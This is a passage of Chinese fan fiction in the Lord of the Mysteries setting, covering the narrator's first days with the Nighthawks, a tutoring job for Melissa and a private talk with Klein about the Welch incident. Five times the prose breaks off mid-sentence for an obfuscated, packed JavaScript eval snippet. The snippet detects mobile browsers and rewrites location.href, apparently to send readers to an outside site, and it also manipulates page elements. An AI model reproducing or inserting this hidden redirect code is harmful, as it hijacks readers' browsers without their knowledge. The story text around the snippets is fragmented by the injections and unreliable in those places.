一位气质阴冷晦暗的男士坐在角落,他有着许久未见阳光的苍白皮肤,这是弗莱先生。 另一位神情冷淡的女士有着细长的眉毛和大而深蓝的眼睛,漆黑顺滑的头发如同丝绸,她同样只是淡淡地看了你们一眼。 棕色头发的年轻女孩罗珊好奇地打量着你们,她光洁的额头和浅棕色的眼眸显得很友善 。 邓恩队长为你们做了正式介绍,并开始了新人的流程:签署文件、单独谈话、参观查尼斯门,以及由老尼尔主持的灵性相关测试 。 在等待下一步安排时,接待厅的门被推开,一位身影吸引了你的目光。 一位美人走了进来。她身穿通灵者的黑色戴兜帽长袍,衬得皮肤愈发白皙。她涂着鲜明的蓝色眼影和腮红,这种大胆的妆容在她脸上却呈现出一种妖异冷艳的美感。 她与邓恩队长低声交谈了几句,目光在你和克莱恩身上短暂停留,带着些许审视,随后便离开了。你能感觉到她与邓恩队长之间有一种微妙的气氛。 初步流程结束后,邓恩队长强调了最重要的原则:“不可窥探神灵!不可打听神灵!不可描述神灵!不可直视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193675|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神灵!” 。他也简要提及了“封印物”、“特性”和“失控”的概念。 临近中午,邓恩队长宣布你们正式成为“临时协助人员”,初期主要任务是学习、适应,并协助完成一些文书、情报整理或外围调查工作。你们各自得到了一本《值夜者内部行为规范与安全守则(临时人员版)》手册。 离开黑荆棘安保公司时,伦纳德叫住了你们,嘴角带着那抹标志性的笑容: “欢迎加入,两位新同事。以后就是自己人了。有什么不懂的,可以问我,或者问老尼尔。当然,” 他绿眼睛扫过你们,“最重要的规矩,队长已经说过了。祝你们……嗯,早日适应。” 你其实挺适应的,初步了解下来,值夜者除了有生命危险外是一个不错的工作,同事也都很聪明,看起来都能听懂人话。 走在回家的路上,午后的阳光有些刺眼。经历了灰雾的震撼和值夜者总部的肃穆,你有一种恍如隔世的感觉。 你跟克莱恩一前一后地走在同一条道路上,他忽然开口,语气平淡:“佩洛蒙西娅小姐,你对今天听到的那些……关于‘神灵’和‘不可直视’的警告,怎么看?” 你能有什么想法呢?你只知道昨天莫名其妙被别的伟大存在关注了,希望女神不会降一道神雷把自己劈死。 “嗯……必须严肃对待,好奇心必须克制在安全线内。”你听见自己这样回答道,“但其实我一点也不好奇啊,我没有好奇心这种东西。”都是麻烦自己找上门的。韦尔奇事件不算,那是担心同学。是同学爱的表现,不是好奇心的表现。 12. 第12章 小人精 1349年6月30日,周六上午,黑荆棘安保公司。 昨天报道后,你回家仔细阅读了那本《行为规范与安全守则》,其中涉及的一些象征符号你可以当做数学符号去理解,但可能因为你还是临时工和实习生,手册里的神秘学基础概念让你觉得有断层,更像是直接需要背诵记住的内容,而无法明白为什么会得出这种结论。 通俗地解释就是,这本手册上只有结论没有推理过程,你能记住但是不太理解。 这让你这个纯粹的理科生有些头疼。本着好学生的惯性,以及确实想给新上司留个好印象的务实想法,你决定周六上午去公司自习兼请教。 接待厅里只有罗珊小姐和值守的洛耀女士,罗珊小姐去烧水泡茶了,洛耀女士则是对你点点头,示意自便。 你看到队长办公室的门虚掩着,里面传来邓恩队长对着文件堆低声叹息的声音。你本想去查尼斯门口找老尼尔,但犹豫了一下,还是轻轻敲了敲队长办公室的门。 队长从文件堆后抬起头,灰眸中带着一丝疲惫,但看到是你,露出温和的笑容:“佩洛蒙西娅小姐?周六怎么过来了?有什么事情吗?” 你有些不好意思地推了推眼镜:“队长,我昨天有看手册,但有些地方不太明白,想请教一下……不过您好像很忙?” 邓恩揉了揉额角:“一些上周的文书报告和下周的行动预案……总是处理不完。不过没关系,你哪里不明白?” 你看了一眼他桌上那堪称壮观的文件山,鼓起勇气道:“队长,如果……如果是一些不太敏感、只需要整理和归档的文件,或许我可以帮忙?这样您能腾出点时间?当然,如果不符合规定就算了!” 邓恩略显惊讶地看了你一眼,沉吟片刻:“……也好。确实有些去年的旧卷宗需要重新分类归档,不涉及机密,只是繁琐。那就麻烦你了,佩洛蒙西娅小姐。做完这些,我们可以好好聊聊你的问题。” 接下来的两个小时,你沉浸在故纸堆里。你的耐心得到了充分发挥,很快将那些散乱的文件按时间、事件类型和关键词整理得井井有条。邓恩队长起初还有些不放心地看了几眼,但看你整理得很清晰漂亮后便放心地继续处理他手头更紧要的报告。 当你将最后一份文件归入正确的文件夹,并附上清晰的标签时,邓恩队长也恰好合上了手中的笔。 邓恩舒展了一下肩膀,眼中带着赞许,对你微笑道:“效率很高,而且非常清晰。谢谢你,佩洛蒙西娅小姐,你真是帮了大忙。走吧,我们去接待厅,今天上午准备的茶应该还温着,我们可以好好说说你的问题。” 在弥漫着宁神花香茶气的接待厅里,邓恩队长为你详细解答了关于“象征符号的初步解读”、“常见低级封印物收容原则”以及“灵性直觉与幻觉的初步区分”等几个困扰你的问题。他的讲解深入浅出,结合实例,让你这个神秘学门外汉有了豁然开朗之感。 你也谨慎地没有触及任何可能涉及高位存在或核心隐秘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193676|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的话题。 气氛轻松而融洽。临近中午,你起身告辞: “谢谢您,队长。那我先回去了,不打扰您休息。” 邓恩笑了笑:“应该说谢谢你的帮忙。周末愉快,佩洛蒙西娅小姐。” 你走下楼梯,在门口正好遇到了正要上楼的戴莉·西蒙妮。她今天没有穿那身醒目的通灵者长袍,而是一身剪裁得体的深色长裙,但脸上那抹蓝色的眼影依旧鲜明,眼眸在略显昏暗的楼道里仿佛会发光。 戴莉目光在你身上停留一瞬,嘴角勾起一个若有若无的弧度:“哦?我们勤奋的新人,周六也来加班学习?” 你礼貌地点头:“上午好,西蒙妮女士。我来请教队长一些问题,顺便帮了点小忙。” “队长还在上面?” “是的,队长刚忙完。现在应该在接待厅喝茶。” 你顿了顿,补充道,“我看队长好像还没吃午饭,也许在等谁邀请?” 听你这么说,戴莉那双宝石般的眼睛微微弯起,打量你的目光多了几分意味深长的笑意:“小人精,不过我要替队长的发际线说声谢谢。” 她笑着,对你轻轻摆了摆手,便与你擦肩而过,向楼上走去。你仿佛能闻到一丝极淡的、类似香料混合了某种草药的气息。 你走出黑荆棘安保公司,周六午后的阳光暖洋洋地洒在肩上。你心情不错——解决了学习疑问,给队长留下了勤快可靠的印象,还意外地似乎在戴莉女士那里也得到了一个不算坏的评价? 13. 第13章 嘿嘿嘿吃大餐 1349年6月30日,周六,铁十字街下街的家中。 窄小的餐桌被擦得干干净净,上面摆着简单的午餐:黑麦面包、蔬菜汤和土豆泥。阳光透过窗户,在斑驳但洁净的桌布上投下温暖的光斑。弟弟西里斯把餐盘都摆好,迫不及待地摆弄着勺子。你接过母亲手里的盘子,将最后一份土豆泥盛到他面前,脸上带着忙碌后的红晕。 “妈妈,西里斯,” 你喝了口水,清了清嗓子,用一种混合着喜悦和刻意平淡的语气开口,“我跟你们说个事。我找到工作了。” 母亲盛汤的手顿住了,西里斯也抬起头,睁大眼睛看着你。 “真的?什么工作?在哪儿?” 母亲立刻追问,眼里闪着光。 “是一家……嗯,处理特殊事务和文件的顾问公司,叫黑荆棘安保公司,在佐特兰街那边。” 你尽量用最通俗的话解释,“他们看中我整理文件和计算的能力,让我去做办公室助理。工作时间嘛,比较灵活,有工作来的时候就忙,没事的时候就可以自己学习或者休息。不过现在还是实习期,很多东西要学。” 你推了推眼镜,补充道,“收入还不错,有固定津贴,比做家教稳定。” “安保公司?” 母亲微微蹙眉,似乎联想到了一些不太安稳的画面。 “不是那种打打杀杀的啦,我也做不来,” 你赶紧摆手解释,语气轻松,“更像是文职,处理合同、档案、客户预约什么的。队长——哦,就是负责人邓恩先生,是个很和气的绅士。今天上午我还去帮忙整理了文件呢。” 你适时地拿出“队长”和“整理文件”这种听起来非常安全正常的细节。 母亲的眉头舒展开来,脸上绽放出大大的笑容:“太好了!温蒂!我就知道,你这么聪明,又肯用功,一定能找到好工作的!办公室助理,听上去就体面!” 她激动地拍了拍你的手,又看向西里斯,“听到没?你姐姐找到好工作了!” 西里斯用力点头:“姐姐最棒了!” “还有啊,” 你一边用面包蘸着汤,一边说起下午的安排,“我之前不是在做家教嘛,现在接了这边的工作,可能就没那么多固定时间了。我下午想去学校问问老师,看看有没有和我一样需要勤工俭学、又比较优秀的学妹,把我那份家教工作介绍出去。得给我那学生找个靠谱的新老师才行。” 母亲连连点头:“应该的,应该的。做事有头有尾,这才对。” 她看着你,眼里满是骄傲和欣慰,忽然想起什么,声音都高了几度:“对了!这事得告诉你爸爸!他今天在码头区上工。我下午就去告诉他,让他早点回来!晚饭咱们不去买了,出去吃! 去斯林面包房旁边的那个小餐馆,咱们点份烤鸡,再要个土豆炖肉!庆祝庆祝!” “真的吗?太好了!” 西里斯欢呼起来。 你也笑了,心里暖洋洋的,又有点酸涩。你知道那家小餐馆对家里来说已经算是大餐了。你吞了吞口水,不去想烧鸡和土豆炖肉,“不用那么破费,妈妈,在家吃也一样。” “那怎么行!” 母亲不容置疑地摆摆手,“这是大喜事!我下午就去告诉你爸爸,让他也高兴高兴。温蒂有出息了,能进公司坐办公室了……” 她念叨着,已经开始盘算晚上点什么菜,甚至从围裙口袋里摸出那个小小的、用旧手帕包着的钱袋,仔细数了数里面的硬币,脸上露出安心又充满希望的笑容 午餐就在这样欢快、充满计划和淡淡食物香气的氛围中进行。母亲不停地问着新公司的细节,你谨慎地挑能说的说,西里斯叽叽喳喳地问办公室是什么样子,有没有很多书,你耐心地回答着。 真好啊。 你在心里感叹道,希望往后的日子也能延续这样幸福的、有希望的样子。也许自己成为值夜者奋斗的意义——就是为了守护眼前这样的时刻。 午餐后,你和弟弟西里斯一起收拾餐桌,母亲一边系上头巾准备出门,一边又想起什么似的回头叮嘱:“对了,温蒂,你要是找接替学生的女老师……” 她朝隔壁努了努嘴,压低声音,脸上带着熟人之间的那种善意提议,“克莱恩那孩子不是有个妹妹,叫梅丽莎吗?我听说那姑娘学习也挺用功,人看着就踏实。你要是觉得还行,不如就推荐她?也算卖邻居一个人情,你俩现在还是同事,互相照应着点也好。” 你点点头,心里明白母亲的好意,但也知道做事不能全凭人情:“梅丽莎的学习我听克莱恩提过,是不错。不过我得先跟她聊聊,看看基础怎么样,也得问问人家愿不愿意。我只能推荐,最后行不行,还得看试课的结果,这个我可保证不了。” “那是当然,你心里有数就行。” 母亲满意地笑了,风风火火地出了门。 你把桌子擦干净,西里斯把餐具去洗了。稍作整理,确定身上没有用餐时掉在衣裙的污渍,便来到隔壁门前,轻轻敲了敲。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193677|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 门很快开了。开门的是克莱恩·莫雷蒂。 他看起来和昨天分开时有很大不同,身上穿着一套崭新的、略显拘谨但裁剪得体的黑色正装,白色衬衣的领口系得一丝不苟,衬得他精神了不少,深棕色的头发也仔细梳理过。他整个人看起来……更像一个刚刚踏入社会的体面文员,或者准备参加重要会议的年轻绅士,只是眉宇间还残留着一丝掩饰得很好的、对新身份的紧绷感。 你微微一怔,随即露出真诚的微笑:“下午好,莫雷蒂先生。这身衣服真精神,很适合你,看着就是位体面的绅士了。” 听见你这么说,克莱恩有些不自在地扯了一下袖口:“下午好,佩洛蒙西娅小姐。谢谢……是预支了部分工资买的。邓恩队长说,有些场合需要像样点的行头。” 你理解地点点头,值夜者的“体面”掩护身份确实需要这些,而且值夜者的薪水也足够支撑起这样的门面。 “很值得的投资。” 你赞同道,然后说明来意,“其实我是来找梅丽莎的,有点事情想和她商量一下,关于一份家教工作的机会。她在家吗?” 克莱恩侧身让你进来:“在的,请进。梅丽莎!” 他朝里屋喊了一声。 莫雷蒂家的客厅比你家稍显拥挤,但同样整洁。班森正坐在桌旁看报纸,听到动静抬起头,对你露出友善的笑容。很快,梅丽莎从里面的小房间走了出来。她穿着朴素的衣裙,手上似乎还沾着一点机油,褐色眼眸清澈,脸庞略显消瘦但充满少女的活力,看到是你,她礼貌地问好:“下午好,佩洛蒙西娅小姐。” 你放柔了语气,直接说明了来意:“下午好,梅丽莎。是这样的,我原来在兼职做一份家教,教一个女孩数学和基础读写。但我最近接了新工作,时间可能不太固定了,所以想找一位可靠的接替者。我母亲提起你学习很好,我也听你哥哥提过。所以想来问问,你对这份工作感兴趣吗?时间主要是周末,薪酬按次结算,虽然不算特别高,但比较稳定。” 梅丽莎的眼睛亮了一下,但她没有立刻答应,而是先看了一眼克莱恩,又认真地问:“请问,具体是教哪个年龄段的学生?需要教哪些内容?我的能力不一定足够……” 就在这时,看报纸的班森也放下了手中的报纸,感兴趣地加入了谈话:“家教?这是好事啊,梅丽莎。佩洛蒙西娅小姐,方便说说大概的报酬和具体时间吗?” 14. 第14章 梅丽莎 你点点头,展现出你性格里的条理性,开始清晰说明: “学生是个11岁的女孩,叫莉娅,住在豪尔斯街区,父亲是银行经理。她目前需要补习的主要是基础数□□算、应用题理解,以及鲁恩语语法和基础写作。数学大概相当于公立学校五年级的进度,但有些概念需要巩固,文法方面主要是句子结构和常用词汇的准确使用。” “每次课程一般是周日下午两点半到五点,两个半小时,算两个课时,中间让孩子休息半小时。薪酬是每次5苏勒,如果效果得到家长认可,可能会小幅上调。交通需要你自己解决,不过从铁十字街到豪尔斯街区有公共马车直达。” 说完这些基本信息,你看向梅丽莎,认真地问:“梅丽莎,你目前自己的课程安排如何?周日下午这个时间方便吗?还有,你对教授这些内容有信心吗?比如,分数运算、简单几何面积计算,还有基础的从句结构分析?” 梅丽莎听得很专注,手指无意识地捏着书页边缘,但眼神很亮:“周日下午我没有课。数学和文法……我应该可以。我在学校的数学成绩还不错,文法也跟得上。” 她看了一眼克莱恩和班森,似乎在寻求一点鼓励,然后转向你,声音不大但清晰:“佩洛蒙西娅小姐,我……我对这份工作很感兴趣,我家里,我也需要这份工作!” 班森没说话,但你猜他已经在一旁心算起来,毕竟他看起来有些眼睛发亮。 这可是5苏勒!为这个工作眼睛发亮是很正常的! 你在心里也算起来,爸爸在码头做工,即使不用做一休一,周薪也才10苏勒!码头工人没活的时候做一天休一天,一周周薪就是5苏勒7便士,而你推荐的工作,一天两小时可以赚到码头工人一周的钱! “那好,” 你看向克莱恩,拜托他拿纸笔过来,“我们简单过一下。假设你是老师,需要给学生讲解这道题。” 你接过克莱恩递过来的草稿纸,在纸上写下一道适合五年级学生、但需要一些思路的数学应用题:“一个花园长12米,宽是长的三分之二,如果每平方米需要播种0.15千克花种,总共需要多少花种?” 梅丽莎接过纸笔,微微吸了口气,开始边写边低声讲解:“首先,宽是长的三分之二,所以宽等于12乘以三分之二,等于8米……然后面积是长乘以宽,12乘以8等于96平方米……每平方米需要0.15千克,所以总重量是96乘以0.15……” 她计算得很仔细,偶尔停顿思考,但步骤清晰,最后得出答案:“14.4千克。” 她的思路完全正确,计算准确,虽然讲解时有些生涩紧张,但足够清晰。 “很好,步骤和答案都对。” 你给予肯定,然后补充道,“在实际教学生时,可以更慢一点,尤其是解释三分之二这个概念时,可以用画图来帮助理解。另外,最后可以提醒学生检查单位,千克。” 你收起纸,又分享了一些经验:“莉娅的父母比较看重老师的条理性、耐心和守时。试课的时候,你可以提前一点到,穿着整洁。讲课前可以先花几分钟了解学生上次课的内容和薄弱点,结束时简单总结一下今天学了什么,并布置一点点非常简单的练习。他们喜欢看到明确的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193678|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进度和反馈。如果你表现得很认真、有条理,成功的可能性就很大。” 梅丽莎听得很认真,连连点头,把要点记在心里。 班森见状,开口道:“佩洛蒙西娅小姐,感谢你给梅丽莎这个机会,还这么细致地指导。真是太感谢你了,有这么好的机会还想着我们梅丽莎。” 一直沉默的克莱恩也开口道:“谢谢你,佩洛蒙西娅小姐。这对梅丽莎会是很好的锻炼。” 他看着你,褐色的眼睛里神色温和。 “别客气,莫雷蒂先生。那这样,我回头就跟莉娅家联系,安排试课时间。确定后我再来告诉你们。” 你站起身,事情顺利办完,心情也不错。 你觉得梅丽莎的基础和态度都足够认真,可以推荐。于是你与莫雷蒂一家商定了接下来的步骤:由你写一封简单的推荐信,说明交接原因并肯定梅丽莎的资质,然后约定一个双方都方便的时间,比如下周日,由你陪同梅丽莎前去试课,作为过渡。 事情谈妥,气氛轻松不少。班森热情地要给你倒茶,你婉拒了,表示等会自己还有一些事情要处理。 离开莫雷蒂家时,克莱恩送你到门口。 “再次感谢,佩洛蒙西娅小姐,这对梅丽莎,对我们家来说,都是一个很好的工作。” 你摇摇头,真诚地说:“是梅丽莎自己有能力。我也只是牵个线,希望她能顺利。这家人很慷慨,与之对应的,对孩子的学习很看重,而且有较高的要求,如果梅丽莎试课成功,那说明她的能力足够让莉娅的父母刮目相看。” 他点了点头,没再多说。 15. 第15章 问询 你转身准备离开,刚迈出一步,忽然想起什么,又转了回来,表情变得有些犹豫和严肃。 你往他那边靠了点,压低声音:“啊,等等,莫雷蒂先生。说起来,我有些事想私下问问你。” 你斟酌着用词,“是一些关于……27日那天晚上的事。不知道你现在是否方便?” 克莱恩闻言,脸上的温和神色迅速收敛,被一种谨慎的严肃取代:“27日晚上……” 他沉吟了一下,立刻点头,“好的,我有时间。请稍等,我跟班森和梅丽莎说一声。” “当然,我不着急。” 你理解地笑了笑,退到门边等待。你听到他简短地对家人解释“和佩洛蒙西娅小姐有些工作上的细节需要沟通一下”,随后很快返回,轻轻带上了门。 他看向你,用眼神示意去哪里谈。 你原本想就近找家便宜的路边小店,但随即意识到要谈的内容过于敏感,绝不适合在公开场合讨论。犹豫了片刻,你暗自心疼了一下自己本就干瘪的钱包,最终还是报了一个街区另一头一家看起来相对安静、但价格显然不菲的餐厅。 “这里……?” 你们快步走到了那家餐厅,克莱恩看着那考究的门面,脚步微顿,脸上努力维持的平静笑容有点发僵,那竭力维持的温和笑容几乎要垮掉——这家店的消费水平显然超出了他以及你的日常的承受范围。以你们目前的经济状况,即使预支了工资,这种地方显然属于奢侈范畴。 你有点不好意思,但也带着不容置疑的认真,抢先一步推开门:“是我请客。我也不想这么破费的……但接下来要说的话,我觉得不太适合在外面说。” 听到你的解释,克莱恩的表情立刻从对钱包的心疼变成了全然的严肃。他不再多说,跟着你走了进去。 你忍痛要了一个小小的、有隔断的包厢。当你婉拒了菜单,只让侍者送上免费的柠檬水离开后,小小的空间里只剩下你们两人。环境安静得能听到彼此的呼吸声,与外面街道的喧嚣隔绝开来。 你等侍者离开,确定包厢门关好,才叹了口气,双手握着冰凉的玻璃杯,组织着语言开口: “是这样的,你知道的,27日下午我们见过面,当时我因为觉得你状态不对,加上知道你是去韦尔奇家,所以……后来我在韦尔奇家外面蹲守了一会儿。” 你顿了顿,仔细观察了一下他的表情。他看起来有些紧张,但非常专注,褐色的眼睛牢牢盯着你,示意你继续说下去。 “后来我去报警,伦纳德,也就是米切尔先生告诉我,你们三个人,两个死亡,一个失踪。再后来就是他们找到了你。”你的声音很轻,但在安静的包厢里格外清晰,“他们的说法是……你因为在出事前就提前离开了,所以受到的影响比较小,算是不幸中的万幸。” 你拿起水杯,抿了一口免费的柠檬水,目光直视着克莱恩: “我不是在怀疑你说谎,也不是质疑队长他们的判断能力。我只是……只是想从你这里确认一下。因为,” 你深吸一口气,说出了最关键的那句话,“我几乎一直蹲在韦尔奇家外面,直到感觉出大事了跑去报警。我确定,在那个过程中,我没有看到有人从房子里出来,无论是前门还是我视野能及的其他出口……” 话音落下,包厢里陷入了短暂的寂静。只有窗外隐约传来的街道杂音。克莱恩脸上的表情从专注聆听,慢慢转变为一种近乎僵硬的震惊,过了一会,你猜从他脸上看出了深切的困惑和后怕。 克莱恩沉默了好几秒,才声音有些干涩地问:“……你没有看到我离开?” 他重复了一遍你的话,仿佛在确认。然后,他眉头紧锁,陷入了回忆,表情看起来很痛苦,你后悔问这个问题了。他的表情像是竭力在混乱、痛苦且充满断裂的记忆中搜寻线索。 也许一切都过去了,都是因为我这该死的好奇心害了克莱恩。你更加愧疚了。 “……说实话,佩洛蒙西娅小姐,” 他缓缓开口,语气带着不确定和一丝不易察觉的颤抖,“我,我对那天晚上的记忆,从进入韦尔奇家书房,开始尝试解读那些符号之后,就变得非常模糊、混乱。我记得一些……难以形容的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193679|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光影和声音,记得强烈的恶心和眩晕。” 他抬起眼,直视着你,褐色的眼眸里充满了坦诚的困惑,以及对你所说话语的重视:“但我不记得我是怎么离开那栋房子的。最后的清晰记忆碎片,是韦尔奇和娜娅……他们突然变得非常不对劲,然后一切都混乱了。再之后……就是我恢复意识,发现自己躺在自家床上,头痛欲裂,然后是警察,还有邓恩队长他们找来。” 他身体微微前倾,声音压低,带着一种分享秘密般的沉重:“值夜者们检查后,说我受到了强烈的精神冲击和污染,但奇迹般地没有致命,而且污染程度很轻,他们认为这很可能是因为我在污染全面爆发前就因故提前中断了接触并离开现场,从而避开了最致命的部分。他们推测,可能是在极度恐慌和混乱的下意识行为……我自己对此毫无印象。” 他顿了顿,看着你,眼神复杂:“你的话,让我很……困惑,也很后怕。如果我真的没有从正门离开,或者说,如果我的离开并非普通意义上的离开……那中间到底发生了什么?我又是怎么回到家的?” 你盯着他,他的叙述逻辑清晰,情感真实,完全是一个对自己遭遇充满不解、甚至有些恐惧的幸存者的反应。他没有否认你的观察,而是坦诚了自己记忆的缺失,并将这个矛盾摆了出来,这反而显得更加可信。 克莱恩,他应该不会撒谎吧?应该也没有这么好的演技。 克莱恩看你不说话,深吸一口气:“佩洛蒙西娅小姐,谢谢你告诉我这个。这很重要,至少对我来说很重要。这让我意识到,那天晚上发生的事情,可能比我想象的、甚至比值夜者目前判断的,还要复杂和诡异。” 他露出一丝苦笑,“这让我对……嗯,对我们正在接触的这个世界,更加敬畏了。也提醒我,或许有些事情,连自己的记忆都未必完全可靠。” 他看向你,眼神里带着询问和一丝不易察觉的期待,或许是希望你能有更多发现:“除了没看到我离开,你那天晚上……还注意到其他特别的事情吗?任何细节,哪怕再微小?” 16. 第16章 坦白 听见克莱恩询问那晚的异常,犹豫了一会,随即想到克莱恩也是当事人,并且也是我的同事,也许我应该更多地相信克莱恩一些。 你决定坦诚相待,既然选择了同样的道路,一些关键信息或许能帮助彼此更好地理解对方,也能试探一下这位同病相怜的邻居同事的真实想法和状态。 于是你身体微微前倾,声音压得更低: “除了没看到你离开,那天晚上,韦尔奇家窗户里的光,变得很奇怪。不是闪烁,而是像水波一样扭曲、晕开,颜色也变得很怪,掺杂着暗红和深黑。我还听到了一些声音,不是普通的说话或喊叫,而是……很多人在用我听不懂的语言重叠着低语,直接往脑子里钻,让人头晕恶心。最可怕的是某一瞬间,窗上的影子……膨胀、变形,完全不像人。” 你一边说,一边仔细观察着克莱恩的反应。他手指紧紧攥着水杯,指节发白。他似乎在极力控制自己,但身体细微的颤抖和额角渗出的细密冷汗出卖了他。 克莱恩声音有些沙哑,仿佛喉咙发干:“……是的,有些,有些感觉,很相似。尤其是那些声音。谢谢,谢谢你告诉我这些,佩洛蒙西娅小姐。这让我更清楚地认识到,我们当时离什么可怕的东西有多近。” 他顿了顿,喝了一大口柠檬水,努力平复,“至于值夜者的推测……” 他放下杯子,眼神变得有些复杂,似乎有些迷茫: “我感激他们的救助和判断。他们给出的解释,从逻辑和已有的……嗯,常识来看,是最合理的。我确实没有更合理的记忆来反驳。但是,” 他抬眼看向你,目光锐利了一些,“完全相信和内心没有疑虑是两回事。尤其是经历了那种……无法用常理解释的事情之后。我倾向于接受他们的结论作为现阶段的工作依据,但这不代表我会停止思考那天晚上到底发生了什么,以及……我身上是否还残留着某些我自己都不知道的影响。” 他的回答非常谨慎,但依旧向你坦诚了自己内心的探究欲望和对自身状态的担忧,显得真实而合理。 你感受到他的坦诚和后怕,语气缓和下来,有些抱歉: “抱歉,莫雷蒂先生,我不该,我不该这么详细地描述那些,让你又难受了。我只是、我只是觉得,我们可能是唯二从那个夜晚相对完整走出来的人。我自己事后也怕得要命,所以才会来问你,我实在担心这件事情还在暗处影响着我们。也许克莱恩你能……理解我这种感受。” 你看着他:“我们现在是同事了,经历了同一件事,又是邻居。今天的事情,很抱歉勾起你不好的回忆,”你不知道该怎么表达自己内心的愧疚,“以后如果……如果再遇到什么难以理解、或者让人不安的事情,也许我们可以多沟通?你有什么疑惑也可以尽管来问我。至少,有个能理解这种感受的人说说话,会好受些。” 克莱恩听着你的话,紧绷的身体稍稍放松了一些,甚至还露出了个微笑: “该说谢谢的是我,佩洛蒙西娅小姐。谢谢你告诉我这些,也谢谢你的理解。你说得对,我们确实是……以后如果有什么发现,或者需要商量的事情,我很乐意交流。互相照应,总比一个人硬扛要好。” 他举了举他面前的那杯柠檬水,以果汁代酒,做出了一个碰杯的姿势,脸上露出一丝虽然疲惫、但真诚了许多的笑容。 离开那家店,各自回家的路上,你感觉和克莱恩的关系似乎拉近了一些。你觉得自己和克莱恩之间建立了一种超越普通同事的、基于共同秘密和创伤的脆弱信任。至少对方是少数能理解你说的“那晚”这个词意味着什么的人。 …… 与克莱恩深谈后,两人一同走在回铁十字街的路上。傍晚的风带着些许凉意,吹散了包厢内凝滞的气氛,却也带来了一阵沉默。 你不太习惯这种过于安静的氛围,尤其是刚刚才分享过那样可怕的经历。你想,你们总归和别人不一样吧?于是,你清了清嗓子,找了个轻松的话题: “说起来,克莱恩,你们家今天晚上有什么安排吗?班森和梅丽莎都在家吧,没打算一起出去吃顿好的,庆祝一下你找到新工作?” 你笑着说,试图活跃一下气氛,顺便提了提自家的计划,“我家可是决定了,晚上要去斯林面包房旁边那家餐馆小小庆祝一下呢。” 克莱恩似乎被你的话从沉思中拉了出来,他想了想,脸上露出一丝恍然和歉疚:“……说起来,确实应该。这几天事情太多,脑子有点乱,都没想到这一层。谢谢你的提醒。” 他随即露出一个有些无奈又温暖的笑容,“班森要是知道我领了预支了薪水却没想着请他吃顿好的,肯定要念叨我很久。” 气氛果然自然了许多。你趁热打铁,带着点调侃:“说起来我们这都算是一起经历过大风大浪的同事了,还老是‘小姐’、‘先生’地叫,多生分。以后就直接叫我温蒂吧,唔……虽然我经常下意识直呼你的名字,不过还是问一下你的意见——以后我就直接叫你克莱恩了,怎么样?” 克莱恩闻言,脚步微微一顿,侧头看了你一眼,那双总是显得温和的褐色眼眸里闪过一丝明显的讶异,随即你觉得他的眼神温和得更真实了。他迟疑了大概一两秒,然后嘴角上扬,露出一个比之前任何一次都要轻松些的笑容,点了点头:“嗯,好的,温蒂。” 也许是克莱恩的笑容也带动了你的心情,你感觉心中的郁气也消散了许多,在这个危机四伏的新世界里,你似乎多了一位可以稍微卸下一点心防的同伴。 两人在公寓楼下分开,各自回家。 你推开家门,西里斯高举双手带着爽朗的笑声冲上来抱住你。父亲果然已经提前下工回来了,甚至还换上了一件虽然旧但洗得干干净净、熨烫得平平整整的浅色衬衣,正乐呵呵地帮着母亲编头发。弟弟西里斯则在兴奋地描述着他想象中的大餐。 